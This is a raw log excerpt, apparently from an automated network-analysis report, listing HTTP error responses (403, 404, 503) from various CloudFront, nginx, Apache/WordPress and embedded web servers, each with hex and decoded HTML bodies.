Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:36:06 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:36:06 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Mar 2024 08:36:07 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:36:07 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Mar 2024 08:36:12 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdCache-Control: no-cacheDate: Sun, 22 Feb 1970 16:10:08 GMTContent-Type: text/htmlConnection: closeData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:36:14 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Wed, 13 Mar 2024 08:36:16 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 13 Mar 2024 08:36:16 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Mar 2024 08:36:20 GMTServer: ApacheX-Powered-By: PHP/7.2.34Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://awesometicity.us/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Type: text/html; charset=UTF-8Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 38 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 39 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 39 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 33 30 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 33 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 73 63 68 65 6d 65 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 35 34 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Mar 2024 08:36:20 GMTServer: ApacheX-Powered-By: PHP/7.2.34Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://awesometicity.us/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Type: text/html; charset=UTF-8Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 38 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 39 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 39 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 33 30 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 33 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 73 63 68 65 6d 65 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 35 34 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 13 Mar 2024 08:36:21 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 13 Mar 2024 08:36:21 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Mar 2024 08:36:23 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:36:24 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 6838Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 2f 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 2e 38 35 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 70 70 6c 69 63 61 74 69 6f 6e 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 73 73 2f 6c 61 74 6f 66 6f 6e 74 73 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 38 65 62 65 62 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 4c 61 74 6f 2c 20 27 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 27 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 37 30 38 30 38 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 39 39 33 64 31 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 2c 0d 0a 20 20 20 20 20 20 20 20 73 74 72 6f 6e 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 70 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 2c 20 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:36:26 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
